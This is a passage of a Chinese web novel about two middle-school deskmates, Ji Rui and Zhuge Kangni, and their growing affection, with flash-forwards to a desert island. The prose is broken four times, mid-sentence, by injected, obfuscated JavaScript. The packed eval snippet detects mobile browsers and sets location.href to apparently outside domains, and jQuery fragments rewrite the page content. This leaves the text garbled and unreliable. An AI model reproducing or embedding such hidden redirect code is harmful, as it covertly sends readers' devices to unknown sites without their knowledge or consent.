“额,那个啊,你的帽子好像歪了。” 季瑞终于迈出脚步,往前走了走,看到诸葛康妮将自己强行掰正,让他站在原地,细心地帮他理了下卫衣的后帽,将它摆得挺正。 这不是诸葛康妮第一次顺手给他理帽子。 每次都像在做理疗,或者催眠,因为每次理好之后,诸葛康妮也会愣愣地看着他,觉得他有毛病。 其实,因为他觉得太舒服了。 但是诸葛康妮不懂,以为季瑞这是在玩机器人或者木头人的幼稚小学生的游戏。 “动动。” “?” “动动?”康妮凑上前去看了看他,“不动?那我回去了。” 转身准备回教室的时候,她的脑袋才会受到“重重”地一击。一种被摸狗头的感觉,疼倒是不疼,但是总感觉被人占了便宜。 广播站在康妮追着他跑的时候放着,“永远都像初次见你那样,使我心荡漾”。 虽然成绩不咋地,家长不看好,老师瞧不上。但因为一个好朋友的存在而变得让人有了坚持下去的意义。 就像精神支柱一样。 这一幕也成了他的人生录像,被永远地记在了脑海里,赵雷,也成了他终将会爱一辈子的歌手。 至于诸葛康妮说的那句,她好看吗? 实在不能称得上是一个“问题”,而是一个定义式的“唯一真理”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812669|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这节课结束后的大课间很闹腾,因为下一节课老王不在,也没有占用大家的体育课来上数学,讲试卷。 又恰好下起来大雨。 体育老师来班级点了个卯,和大家随便闲聊了几句,便让大家在班级教室里面自习。恰好今天作业也不是很多。 如果闲的没事干,那就会做一些吃饱了撑着的事。 尤其是初中生,总是逃不开那样一个话题。 ——“我们班哪个女生最漂亮”。 班主任老王在上个礼拜“大发慈悲”,给166班放了一部很流行的青春电影,九把刀原著改编,名字叫做《那些年,我们一起追过的女孩》。 那一天大家看得都很认真。 沈佳宜这个名字或许也要镌刻在很多人的读书记忆里。 每个人的青春时代里都应该有一个沈佳宜。 政治老师今天上午也没上课,放的是《初恋这件小事》。 或许很多年之后,才会知道,老师们虽然表面上严令禁止“早恋”,对一切不该出现的懵懂情感,采取以扼杀在摇篮之中的态度对待。 但他们一定明白,青春的记忆里一定会有这样的符号。 关于爱情。 学生时代的爱情难道就不算爱情了吗? 喜欢并不是一件肤浅的事。 只不过,是学生的话,必须要将这份感情窖藏,待到完美发酵后的许多许多年的将来,让那个木楞的乖学生知道。 这得是多么浓烈浓郁的真情。 “季瑞,你说呢?他们在选班花儿。” “我说什么?” 他回,回复得并不是很认真。 季瑞正在翻动着今天的数学作业,为了避免错的过多,被班主任老王画上一大堆大红叉,他正在认真检查,并重新计算题式。 身边的康妮也在认真写英语报纸,不过还是很好奇地朝着后边的方向看了一下。 她看到那群胆子大的好事小男生小女生,把后边的黑板报给擦了半边,上面写了很多人的名字。竟然还能看到她自己的名字。 四个字的名字非常突出地展现在那里。 她实在忍不住,老是回头。 发现自己竟然角逐成功,进入前三位。 小女孩毫无例外的,心里有些偷偷高兴,这个名单给她带来虚荣心的极大满足,写卷子的速度都变快了。 甚至在脑子里幻想自己成绩突飞猛进,马上变成美女学霸的,成为校园风云人物的故事。 前排女生章穗也对这个班花评选很感兴趣,但是季瑞兴致缺缺。 “诶。你说啊,你说孟若冰是不是很好看啊?真的很漂亮,皮肤白,五官又精致,人又瘦。” 章穗感叹着就高举着手,跟个大喇叭似的,朝着后面评选班花的小群体投出了自己“宝贵”的一票。 季瑞没抬头,也没投票。 他并不觉得章穗的话说得多么有道理。 “不觉得。” “你眼睛瞎。”章穗说。 “我不觉得她好看,我们班有特别好看的女生,就在后边黑板上写着。” 章穗的眼睛忽然亮了,好像是明白了点什么东西。目光在诸葛康妮和季瑞两个人之间来回游走。 “那个特别好看的女生,你指的是哪一个?” 章穗不死心,继续问。 季瑞和章穗两人目光忽然对上了,没忍住,嗤出一笑。 两个人又同时将目光朝向康妮,也笑。 很微妙。 章穗懂了。 康妮也懂了。 不过一个咂舌转身回去了。 另一个脸红着低下头去。 17. 17 小纸条 “现在还喜欢李宗翰吗?” 他问。 “没。我就记得你喜欢李宗盛。那首歌。”康妮回答道,“不光是记得啊,当年那个词本儿还在我家里放着呢,上面写了那句歌词。喋喋不休,我印象最深刻的就是喋喋不休这四个字。” 季瑞早晨醒来和康妮一起跑到天台上吹风,今天绝迹岛岛天气很凉爽,刚下过一场雨,空气很湿润。 潮湿的海风伴着一阵热一阵凉,穿过人耳畔的碎发。 他看着她翘脚躺在天台的石阶上,时不时朝着远方看去,又很绝望地重新收回目光,缩成一团,用旧毯子将自己裹紧。 猜到了。 一定是因为焦虑。 虽然他们侥幸生存下来了,但待在这里的感觉一定很空洞很空洞,因为他也一样能感受的到。 “又是一个安静的晚上……” “一个人窝在摇椅里乘凉……” 季瑞慢慢悠悠地哼唱出了前一句,诸葛康妮扭头朝着他哼出了下一句,2013年那一年的夏天非常流行许嵩徐良和汪苏泷。 这一首歌是许嵩的《素颜》。 音乐老师是个非常时髦的年轻女老师,最爱给他们放些好听好看的流行乐MV,这里面就有一首非常让人记忆深刻。 《素颜》。 另一首则是《宿敌》。 《宿敌》的MV虽然简短,却拍得像个浓缩版的言情电影。 一个很简单的故事,带着使命任务需要刺杀男主人公的女主角,身为宿敌,他们立场不同,只能相互残杀。 这是诸葛康妮第一次深刻地了解什么是“相爱相杀”。 因为看完《宿敌》的MV后,她开始思考和季瑞之间的关系。 《宿敌》的男主角在最后选择了在自己的武器中藏药,奏响笛曲的瞬间,他中毒身亡,自行了断。 只因为早就看透了女主的来路。 她和季瑞之间算不上宿敌,但也可以认为是打了双引号的“宿敌”。 诸葛康妮很讨厌季瑞,但是事实上,季瑞更是她说不上来的,为数不多的好朋友。所以从那节音乐课开始,她也有些分不清对他的讨厌,究竟是不是夹杂了喜欢的讨厌,并不是纯粹的讨厌。 她开始害怕。 总不能喜欢上季瑞了吧?! 想着想着,一杯冰旺仔就“咚”一声停在她的桌缘。 她的心一坠,脑子里开始盘算他们之间互换了多少次礼物和吃喝用品,越想脸越烫,干脆把自己埋进胳膊肘里,假装在课间补觉。 “困了?” 他随口一问。 之后诸葛康妮听到了一声熟悉的笑。 “哦,昨晚又熬夜看小说了,还是动漫?看的什么,和我分享分享?” “嗯?” “不说话?你不舒服吗?” 旁边的这位男同桌用自己的胳膊肘顶了顶诸葛康妮,见她没反应,只是摇摇头。 “你痛经?”季瑞果断收回那杯冰旺仔,又陷入深思,“嘶,不对啊,时间没对上啊,按理说不应该啊?” 一个巴掌突然拍过来。 非常响。 惊得全班同学都往最后两排这里看。 想看看究竟发生了什么。 但只能看到诸葛康妮扇了人家一巴掌后,趴在座位上不动,旁边的季瑞一脸疑惑,嘴角微微上挑。 前排的男同学孙健坏笑着扭过头,看向季瑞。 还是一个非常搞笑的唇语。 “家暴吗?” 季瑞摆摆手,让他不要瞎说,孙健却点点头,表示,都懂都懂。 于是他摸了摸自己的胳膊,有点麻,这小丫头手劲还挺大,打人相当有水平,疼得层次分明,还响,还有印子。 只不过沉浸在这个欢喜的氛围里没多久,闹心的事儿就来了。 临上课前六分钟。 今天不知道怎么回事,临上课前六分钟,季瑞很明显感受到了座位周边的氛围变得很不一般。这种感觉类似于被一群豺狼虎豹盯着。 果然没过几秒钟,就有个梳着光溜溜的骚包油头的男同学跑到诸葛康妮的座位后边,“唰”一下贴了一张粉色的爱心贴纸。 那上面的字写得很清楚。 ——“我喜欢你”。 谁???!!! 季瑞只感觉到自己胸腔里瞬间翻江倒海,来不及翻白眼,一句咒骂的话就快要呼之欲出,但他控制住了。 在诸葛康妮面前需要保持好形象。 他才不会干这么猥琐的事。 诸葛康妮没有被这个在背后贴小纸条的动作弄醒,但是半梦半醒之间,她好像听到了自己身后又很多男生笑得很莫名其妙。 类似于上次某个男同学蹭到了女生肩膀后的那种……很古怪的笑。 还有一些口哨声。 背后痒痒的。 季瑞在她身后鼓鼓捣捣的,也不知道在干什么? “烦死了!你到底在干什么!?干嘛老是弄我的背啊?”康妮终于忍不住,从胳膊肘里突然扬起脸来,冲着季瑞抱怨道。 季瑞也挺不爽,“啪”得将那沓带着黏性的各种形状和颜色的小纸条摔在桌子上,让诸葛康妮自己看。 本以为诸葛康妮也会挺生气。 因为这些小纸条要是被班主任老王发现了,绝对要在班级里掀起一波“叫家长”的腥风血浪,但康妮竟然没有生气,反而笑了。 “这么多?” 她眼睛弯成月弧。 “怎么,你还挺得意?”季瑞瞥了她一眼。 “没有啦。” “那你这是怎么回事?”季瑞很不舒服。 可能初中生并不明白这种不舒服且心里跟拌了酸缸子似的感觉叫做占有欲,他只知道现在他很不爽,恨不能把那几个成绩不好还天天混世的男痞子,都一个一个,全部捶倒在地。 就像打地鼠那样,有多少他打多少。 “没怎么回事,就是感觉到被认可了,很开心。”康妮眨巴眨巴眼睛,很天真,“我还以为成绩差就要被所有老师和同学讨厌呢。” 他很心酸地替她笑笑,认为这样的想法不正确。 季瑞自己就是男生,他很清楚某些男孩子究竟脑子里在想些什么,也知道他们在背后的笑很不怀好意。 但是他没说话。 该怎么让康妮小小的知道一下,她其实也被自己认可了呢? 既然,她会觉得开心的话。 第三节课下课后,康妮跟一个女性同学相伴去卫生间,趁着这个空隙,季瑞辗转反复地想了很久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812670|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在做完这件事的时候,心跳的频率快到心脏马上就要从嗓子口逃跑。 一个纯白色的便利贴,就这样在不经意间贴进诸葛康妮的校服外套内衬里。 他做了一个十分冒险的行为。 如果诸葛康妮将校服拿回家,爹妈在放进洗衣机前掏出来一张小纸条,肯定会误会诸葛康妮早恋。 他想了想,决定将小纸条抽出来,但是没能来得及,诸葛康妮的巴掌就跟了上来。 “干什么!”她打掉季瑞的手。 果然很快发现了那张小纸条。 【你是一个漂亮又上进的女孩,加油!】 诸葛康妮再一次笑了,这张纸条和其他纸条竟然有着非常不一样的待遇。其他的纸条只不过得到了她的一个普普通通的笑。 而这张纸条藏进了诸葛康妮的自动铅笔的笔筒里。 “季瑞。”她晃了晃身旁男同桌的胳膊,“到底是谁写的啊,是不是岑宏?你快告诉我嘛!” “不知道。” 季瑞当然不能承让,于是插科打诨聊些别的话题。 “你上次不是说,看不清黑板上的字儿吗?我看大概是因为你天天看小说的原因,假性近视。说不定不用配眼镜。” 这个方法果然奏效,很快转移了诸葛康妮的注意力。 “是哦,确实是看小说,但是我真的忍不住晚上不看小说,不看小说完全睡不着。”诸葛康妮撑着脑袋,将目光转移到季瑞的眼镜盒里。 “你多少度?” “我一百多度吧。”季瑞摘下自己的眼镜,递到诸葛康妮的手上。 诸葛康妮煞有介事地戴上眼镜,很可爱,戴上眼镜的样子也很可爱,显得脸格外的小,还挺洋气的。 “怎么样?我戴眼镜是不是很好看。” 季瑞清了清嗓子,又喝了口农夫山泉润了润嗓子,那个点头看上去挺勉强似的。 康妮“啧”了一声,有点烦同桌这个反应,怎么承认她长得好看这件事很难吗?天天就喜欢让她不开心。 其实他想说的是。 没有,不是好看。 是非常好看,特别好看,全宇宙第一最最好看。 “怎么样啊,是不是感觉戴了眼镜就不一样了,跟学霸一样。” 诸葛康妮倒是很会耍宝,戴着眼镜摇头晃脑的,但是很快就不行了,这个眼镜的度数不适配她,戴久了,晃来晃去的头晕。 旁边的男同桌在笑她。 她头晕,眼压大。摘下眼镜缓了好一会,并理直气壮地吩咐身边的人。 “好了,我这周就回家让我爸给我配个眼镜,在此之前,你必须要帮我看黑板上的字,并告诉我老班在黑板上写的都是什么。” “你使唤我,啊?”季瑞摔笔。 “牛肉汉堡。” 小同桌又在这儿拿好吃的做报酬对他吆三喝四,他很得意,认为自己和康妮是班级里最独一无二的友谊。 “好吧,那我要吃三个。” “你是老牛的胃。” 前排的两个同学听到诸葛康妮和季瑞的对话后,将卷子拍在桌上哈哈大笑,笑得前仰后合直不起腰。 又是高高兴兴的一节课过去了。 下课又迎来一个新的晴天霹雳。 让季瑞简直怀疑人生。 18. 18 “情书”和翻花绳 上节课上物理课的时候,季瑞就发现诸葛康妮在偷偷摸摸地在一个漂亮本子上写东西。 而且是在写情书。 最前面的署名“致某某”还是个他很熟悉的班里男孩的名字。 千算万算,没算到诸葛康妮会给岑宏写情书。 天塌了。 诸葛康妮甚至在写完的时候告诉季瑞,让他帮忙将这个情书递出去。他接过来,心里气得要命,仿佛浑身都有一股火在烧,恨不能在诸葛康妮面前将这页情书撕了。 提醒了她很多次不要在下边开小差,要认真听课,她都不愿意,甚至跟他生气。 “哎呀,你好烦,你不要管我。” 季瑞想要抢夺她的小本子,但诸葛康妮跟个泥鳅似的不听话,就要在那里写,写了很久,还是不听课,他终于忍不住骂了她两句。 “听课啊。再不听课,你下次物理月考还是会考48分,傻瓜。你还想早恋,岑宏这学期结束不是退学就是准备念职高了,你是不是脑袋出问题了?犯病?” 诸葛康妮扭过头,生气地斜眼瞪着他:“好烦啊。物理好了不起?物理总分也就80分而已,我考48刚好及格。” “还有,我不是傻瓜,傻瓜作文才不会拿满分!你不可以骂我是傻瓜,我很讨厌这个称呼。” “还有啊,这个不是情书,是上次岑宏写了张小纸条鼓励我,我也想写点鼓励他的话。” 哦。 原来是这样。 误会了。 那张鼓励的小纸条是他写的。 其实是要感谢他才对吧。 明明是自己不好意思承认写了纸条,现在却来怪诸葛康妮。 他看了眼角红彤彤,脸蛋气鼓鼓的康妮。 还是觉得好可爱,不忍心继续说些奚落她的话,也不像往常那样开玩笑,反而在心里怪自己,埋怨自己。 于是不说话了。 但这一幕,落在康妮眼里是同桌之间突然变得十分微妙的磁场。 以及,平时热热闹闹的课间。 现在突然变得异常沉默。 时间过得真快,转眼就从初一上来到了初二下。 临近初二暑假前的诸葛康妮仍是个没有开窍的傻小孩,只愿意学自己喜欢的科目,英语和语文,完全没有一点求学的上进心。 有时候上课会睡觉,有时候偷偷看小说。 看小说的时候,偶尔会和季瑞产生点矛盾和摩擦。 “为什么不让我看!” “因为现在是上课时间。” 季瑞义正言辞。 其实他说的对,现在是上课时间,应该学习,而不是看小说。 变化是润物细无声的,粗枝大叶的人总是很难第一时间察觉到不同。 季瑞好像从很早之前就开始改变了。 他好像变成了一个愤青,还是那种“不学习,毋宁死”的愤青。 但康妮挺叛逆,也不太成熟,认为好好努力是一件很丑的事。 尤其是好好努力之后还没有成果,她会感觉更丢人。 “像我们这样成绩不好的学生,努力学习感觉一点儿用也没有,就是笨啊,反正学了还是三十多名,有什么意义?” 季瑞不予理会,只是拿出自己的数学试卷,认认真真自己批改,思考。 下了课不再和以前一样找诸葛康妮瞎玩,而是去各个科任老师的办公室问问题,也几乎是“抓”到老师,就凑上去问,刨根问底。 不问明白誓不罢休。 可是排名并没有增长多少。 只是三十七名变成了三十六名。 除了诸葛康妮的不认同之外,也有许多其他同学的不认同。 ——那么努力还是考中下游啊? ——好装。 ——差生果然智商堪忧。 诸如此类的话不绝于耳。 和小同桌诸葛康妮的关系也因为一个脱胎换骨的意识改变,而变得急转直下。 一度降到冰点。 沉浸在题海卷海当中的季瑞终于开始精神垮脱。 树活一张皮,人活一口气。 努力到了极致还没有看到成果是让人感到很恐怖的。 他失去信心了。 可是抬头一看,身边的诸葛康妮也不知从什么时候起,开始在那抓耳挠腮地做着数学题。 辅导书和试卷堆得跟小山一样高。 “季瑞,我现在开始认真学习了,我们还能做好朋友吗?” 她询问的声音很小,气势有些弱,很明显和之前产生了翻天覆地的变化。她开始珍惜季瑞这个朋友,甚至是极度害怕失去。 叮铃铃…… 下课铃声响起。 这节自习课已经告入尾声,但可以看见前边四排的同学们仍旧埋头苦干,就好像摆在他们桌面上的试卷可以自然繁衍,永无止尽地就这样坐在座位上。 做下去,写下去,直到游出一个所谓“中考”的海洋。 抵达一个岛屿后,又要跳下去,迎接新的一个名为“高考”的大洋。 有点闷。 季瑞看到诸葛康妮掏出了自己五彩斑斓的手账本。 上面贴满了卡通贴画和明星的照片。 跟解药一样。 他终于忍不住了,放下手中的月考试卷,看向诸葛康妮。 五彩斑斓的记录本,就是诸葛康妮丰盛灿烂的精神世界。 实在忍不住不去伸手触碰。 “能给我看看你写的吗?”他问。 “当然啦!” 诸葛康妮大大方方地递过去,甚至说,“你要不要也写点什么东西记录在上面呀?例如,你最喜欢的歌词???” 季瑞沉思良久,最终在诸葛康妮写的一首小诗下边,抄写了一段歌词。 想说却还没说的,还很多 攒着是因为想写成歌 让人轻轻地唱着,淡淡地记着 就算终于忘了,也值了 说不定我一生涓滴意念 侥幸汇成河 然后我俩各自一端 望着大河弯弯 终于敢放胆 嬉皮笑脸面对 人生的难 喋喋不休, 时不我与的哀愁, 还未如愿见着不朽 就把自己先搞丢 越过山丘 才发现无人等候 喋喋不休 再也唤不回温柔 为何记不得上一次是谁给的拥抱 在什么时候。① “这个??你写的??” 诸葛康妮虽然很震惊,但还是第一时间认为这个看上去类似短诗一样的内容是季瑞的原创。 “写得这么好,感觉都能发表了。” 诸葛康妮因为自己喜爱写作,所以满脑子都是发表发表。 季瑞先是轻轻笑笑,转了会笔,回:“你猜?” “我猜?猜不到……不是你写的?” “这首歌的名字叫做《山丘》,李宗盛唱的,歌词很好,是我的单曲循环。” “哦哦,原来是歌词。” 她若有所思,翻开手账本的这一页来细细品读。 一字一句。 但脑子里无法出现歌词的旋律。 “你可以回去听一听。” “可是我的Mp4已经被我爸收起来了,还有手机。” “一定有机会听到的。” 季瑞说完后,大手一挥,盖在诸葛康妮的手账本上,不由分说地将她写满各种原创小诗的本子收进自己书包的最里层,“唰”一下拉上拉链,彻底封印。 “不许看了。你这个本子到这个月月考前我都不可能还给你了。” 季瑞说。 “凭什么?” 重要的东西被拿走了,诸葛康妮产生了非常强烈的不安全感,眼泪已经在眼眶里打转,却被季瑞说出来的最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812671|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话硬生生给逼退了回去,那是一句真理。 “我们要考试,我们要学习,我们要进步,我们不要做三十七名和三十八名了。” 这话说完后,季瑞转过头来很认真地看向诸葛康妮。 “我们是好朋友,对吗?好朋友就是要一起进步的。” 见诸葛康妮坐在那里沉思,没什么反应,于是季瑞用一杯冰可乐蹭蹭她的胳膊肘。 试图“唤醒”她。 “嗯,你说得对。” 她终于回答。 “我要好好学习。” 季瑞笑着送给她一个全新的礼物。 数学题错题本,超厚版。 “喋喋不休,时不我予的哀愁,还未如愿见着不朽.....” 海浪不休不止地翻涌着,朝着远方无尽头的望去,海鸥星星点点地从近岸的翡翠绿越过远海的蓝海色之中,再又一对朝着光耀的天迹向上飞,直至消失不见。 耳边是海浪温柔拍打礁石的声音,带着咸润的气息扑面而来,浩瀚而宁静。 若是真的有了一个契机从城市逃离,来到这里度假。 这里一定是一个巨大的、完美的心灵收容所。 海可以是危险的,也可以是治愈和包罗万象的。 季瑞唱着那首带着初中美好记忆的歌,躺在诸葛康妮的身边,在礁石上,闻着属于海洋特有的咸腥味,听到那些海鸟乘着海边的气流,时而高亢鸣叫,时而跟个利箭般俯冲进海里觅食。 和他们现在的处境很像。 想尽一切办法,在这片海洋之上,这座荒岛上生存下去。 包裹住绝迹岛的这片海洋充满了原始而磅礴的力量感。 海浪滔滔,充满着生命的律动和属于大自然的野性。 心灵也随之开阔起来。 季瑞不知道从哪里找到根鱼线,扯成一个非常合适的长短,先套住左手再套住右手,撑成一个翻花绳的样子,递到诸葛康妮面前。 翻花绳。 运动会上的时候,诸葛康妮玩翻花绳都玩上了头,打遍天下无敌手,跟这个女同学玩完,之后再跟另一个刚下跳高赛场的男同学玩,跟最后几排的同学们都玩了个遍。 最终还是跟章穗、孙健、方露几个人在那比赛谁能解开那个最难的花样。 解着解着。 在诸葛康妮思考如何解开这个地狱级别困难的花样时,对面方露手中的花绳就被季瑞解开了。 并撑成了一个类似“四”字型的新花样。 递到她面前。 不知不觉间,翻着翻着就变成了季瑞。 诸葛康妮抬起头,一脸懵。 身边是小瘦子陆京辉同学突然爆发出来的笑声:“哈哈哈,诸葛康妮懵掉了,惊呆掉了,她躲不掉,诶,你是不是根本没反应过来从我变成季瑞了?” 当初选班长的时候,这群同学们就总爱对着季瑞说。 你们家康妮,你们家康妮。 或许全班人都知道季瑞对诸葛康妮那点心思,就算不是喜欢,也是关系好。 关系很好。 就是表面上是冤家实际上关系很铁的那种,甚至有同学在刚开学的时候,猜测这两个人会不会是亲戚。 运动会进入尾声。 康妮报名了踢毽子的项目,没有拿到名次,但是玩儿的很开心。 比完赛后,季瑞果然坐在操场上等她。 见她一路小跑着过来,他松弛地躺在操场的塑胶草地上,身旁摆了两罐冰凉的百事可乐。 “哇,好爽!” 虽然还没过立夏,但日头很烈,运动过之后人焐燥得慌,学生们跟粉蒸肉似的在操场上煎烤。 喝一口冰可乐简直不要太舒服,跟上了天堂一样。 喝了别人的汽水,自然说话也会更加好听。 “你知道吗季瑞?” “知道什么?” 季瑞撑着头躺在那,特好奇诸葛康妮要说什么。 19. 19 双子与射手 “双子座和射手座是绝配。” 她说完这句话的时候朝着身边人俏皮地眨了眨眼睛,纯真无害,更看不出来有什么其他特别的心思。 但说者无意,听者有心。 季瑞是射手座。 而诸葛康妮的是五月二十九号生的,季瑞对她实在是过分关心,他早就知道康妮是个真切无疑的双子座。 心跳声噗通噗通,偌大的操场上明明人声嘈杂,脉搏声却犹如空谷回响般。 我们,算绝配吗? 很快,诸葛康妮揭晓了答案。 她躺在燥热的塑胶操场上,斑驳的小石子儿钻进了她蓬松微卷的丸子发里,她躺下来,咂了咂舌,将百事可乐的铁罐子倒置,朝着自己嘴里滴了最后两滴不带气儿的甜水。 喝完了。 季瑞将自己那半瓶可乐递过来。 这分明是一个很暧昧的动作。 是在一个初中校园里的禁忌。 但是诸葛康妮并没有拒绝,反而大大方方地拿着喝。 喝到一半儿后,这个粗神经的小姑娘才反应过来是怎么回事。间接接吻这个说法,在孩童们之间早有相传。 她只能在这个时候故意装作不知情的样子,故意让自己看起来像个很迟钝的,啥也不懂的小学生。 但那罐可乐端着挺烫手,季瑞的目光也朝着她的方向直勾勾地盯过来,她只能再找个其他事情来做,缓解尴尬的气氛。 “季瑞,我跟你玩个游戏吧。” 她放下可乐罐,盘着腿,突然坐得很端正。 身旁的季瑞自然也是一样很配合地和诸葛康妮坐成一样的姿势。 她抬手摸摸自己的下巴。 季瑞也抬手摸摸下巴。 跟照镜子似的。 “不是啦,不是这种游戏,是这样……”诸葛康妮抓过对面人的手。 这一刹那,心率再次失衡。季瑞的手心也紧张得冒了汗。 只感觉到眼下的世界突然变得很空洞。 操场里,他只能关注得到诸葛康妮的存在,看着她慢慢把自己的手摆弄来摆弄去,舒服得有点想躺下来睡觉。 “你配合一点!” 诸葛康妮有些不满地耍小脾气。 对面的男生终于将丧耷拉着手抻直,带着温煦地笑,盯着对面的女孩。 “这个叫做缘分小游戏。” 诸葛康妮让季瑞将两只手的掌心摊开,“啪”地打下去,问他那个手掌心痛。 但是季瑞又开始不太配合了。 “哪个痛?你手劲这么小,哪个都不痛。”他的笑里漾着痞气,带着轻微的挑衅。 诸葛康妮这就不服气了,相当用力地又来上了一击,疼得对面的男孩子肩膀耸来耸去,发出“嘶嘶”的叫唤。 男孩皮肤在日光的照射下显得格外白皙,身上泛着淡淡的草木香,裹着阳光一起透过来,康妮一抬头,就能看到那副灿烂得跟龙猫似的笑容,对面的同学实在是干干净净,让她幻视对面坐着的是个女孩子。 她继续捏他的手指,问他哪个痛。 他说,食指。 诸葛康妮就用自己的两根食指在在季瑞的食指上一格一格地跳着房子,一共数了13下。 “你要这样季瑞,你要和我一样,伸手摸自己的胸脯十三下。不对,不对,不是这样。是像我这样。” 她教着教着就开始失去耐心,开始跺脚。 季瑞就开始笑她。 “这动作像个孬子做的。”他说。 “都已经到这一步啦,你到底还要不要继续?能不能别烦!” 诸葛康妮生气的时候,额前的卷毛会竖起来,炸毛小狮子一样,原本白皙的面孔会泛起红晕,耳根也会粉粉的。 一般在这种时候,季瑞就会不经意瞥上一眼,然后混不吝地点点头,假装“屈服”。 “好,那我照做。” “好!不许动!在胸脯上拍了十三下之后,保持这个姿势。”她看上去很着急,生怕结果不正确。 “嗯,然后呢?” “把手伸出来,和我的抓在一起。” 抓在一起了,两个小朋友,一对儿小同桌。 运动会已经结束了,操场上的人已经散尽,仍有几个师傅在不远处继续工作,收拾着运动会现场搭的钢架舞台和各种各样的横幅。 康妮非常迅速地知晓了她想要的最终答案。 ——这个用手臂绕起来的结,解不开。 然后“避讳”地一把将自己的手撤开,生怕被人看到这边有个男生和女生在拉手。 还是以一种这么奇怪和扭曲的姿势,一个男孩子双臂交叠。 幸好没有被人看到。 “我们好有缘分!” 说完后,诸葛康妮瞄了一眼身边的男同学季瑞,见人家没太大的反应,又瞄了一眼。 原来在偷笑。 笑什么呢? 笑她幼稚? “那如果能解开呢,那就是没有缘分了吗?” 季瑞插着兜,将这个问题抛出来递给诸葛康妮,见她半天想不出反驳她的对策,觉得更有意思了。 “那就重新再试一次。” 她回答。 “要是还不行呢。” “可是刚刚就行了,第一次就是最准的!” 诸葛康妮说得斩钉截铁,就好像这个游戏从来都不是一个游戏,是能验证真理的试金石。 两个人准备回教室拿书包回家,走在路上的时候,季瑞爬上教学楼,站在楼梯上俯瞰下边气喘吁吁的诸葛康妮,突然想到了一件事。 是一件前不久刚刚发生的好事。 “诸葛康妮?你是不是上次考试进步了9名。” 诸葛康妮打了个不太响的响指,有点小小的得意,然后在回到教室后,非常“不经意”间掏出自己那张挂着“进步之星”横幅的照片,在季瑞面前晃悠。 “怎么样,我是不是很帅。”她比了个八字的手势在自己的下巴上,显得很俏皮。 季瑞一边看着她,一边慢慢收书包,为的就是能多跟诸葛康妮再多说两句话。 “厉害,帅。” “可惜啊,可惜我这个排名,下次我们可能就不一定会分到同一排位置当同桌了。” 诸葛康妮咂咂舌,明明听上去不仅不觉得可惜,甚至很嚣张得意。 一语成谶。 没过多久这件事情就真的发生了,但并不是朝着好的方向发展。 他们在初二下学期过后,就真的再也没有坐过同桌了。 ...... “康妮,你在哭吗?” 岸边有海鸥停驻,诸葛康妮躺在草丛中突然没了力气,好像是被什么奇怪的虫子咬了。 头很晕,被咬的地方瞬间肿了一片,抓出了血,季瑞忙不迭将她抱到海边冲洗创口。 可是诸葛康妮在这个时候却好像忘记了自己身处海岛。 她的手腕上绑着那根用鱼线编扎的花绳,嘴里念叨的都是些古怪的话。 “因式分解写错了要罚抄,做错一道题要打手心一百下,上初一那个时候我一份一百道题的试卷做错了将近一半,真吓人。” 季瑞抱住她,笑了。 “你在哪?还记得吗,我们在绝迹岛,今天早晨没捕到鱼,吃的是海带和野果。” 她躺下了,平躺在沙滩上。 那处被毒蚊子叮咬的创口很快瘪下来,但还是很痒,一边痒一遍泛着疼。 “康妮,起床了,要去上学了!” 父母在家里分别喊了诸葛康妮两次,她都不愿意起床,最终还是无可奈何地到了女儿的卧室,将她从床上拖拽起来,强逼着她在痛经痛得快要晕厥的情况之下,抓紧时间到学校补数学课。 今天是周末 共计八节数学课。 她还是迟到了,班主任自然是没什么好脸色给她,默默了盯了她几眼,就摆摆手让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812672|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她进班。 来到班里,打开试卷,她听到耳边有数学老师的声音悠悠传过来。王老师在她的身边站定。 还好,找的人不是她。 “你看看你现在这个样子。” 朝着老班的方向看过去,很明显他在说班级里一个叫做孙健的同学。 “你上个课,眼睛跟做贼似的瞟过来瞟过去,你不认真听课你想干什么?你以后能做什么?我看你瞟来瞟去的,是不是想和你爸一样,以后做出租车司机啊?” “不认真学习,你以后你就跟你爸一样做出租车司机。” 